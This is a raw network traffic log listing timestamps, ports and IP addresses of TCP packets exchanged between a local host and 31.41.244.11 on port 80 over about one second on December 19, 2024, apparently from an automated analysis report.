Dec 19, 2024 08:09:16.719726086 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.719830990 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.720446110 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.720498085 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.720613956 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.720663071 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.721338034 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.721405029 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.721467018 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.721616030 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.722151041 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.722206116 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.722249031 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.722291946 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.723004103 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.723050117 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.723104954 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.723144054 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.723874092 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.723932981 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.723967075 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.724003077 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.724724054 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.724766970 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.724838972 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.724914074 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.725644112 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.725699902 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.725778103 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.725927114 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.726428986 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.726481915 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.726568937 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.726614952 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.727293968 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.727329016 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.727356911 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.727396011 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.728132963 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.728183985 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.728241920 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.728282928 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.729001999 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.729059935 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.729099035 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.729172945 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.729866028 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.729937077 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.729964972 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.730117083 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.730690956 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.730801105 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.730834007 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.730858088 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.731585979 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.731658936 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.731692076 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.731748104 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.732345104 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.732429981 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.879715919 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.879782915 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.879811049 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.879858017 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.880137920 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.880187988 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.880188942 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.880235910 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.881028891 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.881086111 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.881102085 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.881145000 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.881833076 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.881889105 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.882003069 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.882061005 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.882671118 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.882735968 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.882796049 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.882917881 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.883537054 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.883583069 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.883657932 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.883702993 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.884413958 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.884462118 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.884516001 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.884649038 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.885227919 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.885276079 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.885337114 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.885380030 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.886091948 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.886135101 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.886173964 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.886214018 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.886993885 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.887037992 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.887094975 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.887226105 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.887810946 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.887928009 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.887980938 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.888674974 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.888722897 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.888832092 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.888895988 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.889542103 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.889590025 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.889630079 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.889904976 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.890408993 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.890470028 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.890527010 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.890598059 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.891215086 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.891273975 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.891319036 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.891465902 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.892121077 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.892175913 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.892210960 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.892252922 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.892935038 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.893019915 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.893026114 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.893059969 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.893799067 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.893845081 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.893882036 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.893943071 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.894603968 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.894650936 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.894718885 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.894759893 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.895471096 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.895540953 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.895576954 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.895618916 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.896331072 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.896403074 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.896460056 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.896534920 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.897205114 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.897264957 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.897299051 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.897336006 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.898050070 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.898117065 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.898152113 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.898196936 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.898964882 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.899015903 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.899051905 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.899075031 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.899785995 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.899858952 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.899925947 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.899996042 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.900618076 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.900670052 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.900708914 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.900751114 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.901444912 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.901510000 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.901545048 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.901635885 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.902291059 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.902349949 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.902389050 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.902534008 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.903162003 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.903223991 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.903260946 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.903306007 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.904123068 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.904150963 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.904194117 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.904218912 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.904884100 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.904925108 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.905004025 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.905044079 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.905725956 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.905775070 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.905857086 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.905910969 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.906793118 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.906851053 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.906884909 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.906914949 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.907443047 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.907495975 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.907572031 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.907613993 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.908269882 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.908315897 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.908390999 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.908601046 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.909145117 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.909205914 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.909375906 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.909434080 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.909976006 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.910032988 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.910279036 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.910336971 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.910813093 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.910924911 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.910974979 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.911725998 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.911803961 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.911834002 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.911875963 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.912554026 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.912621021 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.912724972 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.912780046 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.913484097 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.913543940 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.913564920 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.913714886 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.914280891 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.914329052 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.914397001 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.914438009 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.915098906 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.915147066 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.915225983 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.915267944 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.915991068 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.916100979 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.916136026 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.916155100 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.916891098 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.916970968 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.916973114 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.917037010 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.917674065 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.917721987 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.917794943 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.917917967 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.918591976 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.918637991 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.918641090 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.918688059 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.919431925 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.919485092 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.919519901 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.919564009 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.920300007 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.920346975 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.920398951 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.920484066 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.921103001 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.921147108 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.921271086 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.921308994 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.921938896 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.921988964 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.922044992 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.922084093 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.922785997 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.922892094 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.922939062 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.923660994 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.923715115 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.923754930 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.923845053 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.924457073 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.924515009 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.073582888 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.073613882 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.073642969 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.073673964 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.074002028 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.074060917 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.074186087 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.074263096 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.074876070 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.074933052 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.074974060 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.075016975 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.075745106 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.075820923 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.075892925 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.076014042 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.076543093 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.076600075 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.076654911 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.076700926 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.077383995 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.077444077 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.077506065 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.077577114 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.078229904 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.078274012 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.078344107 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.078392029 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.079107046 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.079154968 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.079164028 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.079202890 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.079988003 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.080065012 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.080096006 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.080137014 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.080818892 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.080888987 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.080929995 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.080982924 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.081667900 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.081717014 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.081824064 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.081871033 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.082492113 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.082556963 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.082613945 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.082693100 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.083359957 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.083427906 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.083478928 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.083523989 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.084218979 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.084260941 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.084311008 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.084357023 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.085056067 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.085112095 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.085176945 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.085239887 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.085937023 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.085990906 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.086044073 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.086081982 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.086780071 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.086842060 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.086875916 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.086916924 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.087632895 CET	80	49802	31.41.244.11	192.168.2.6
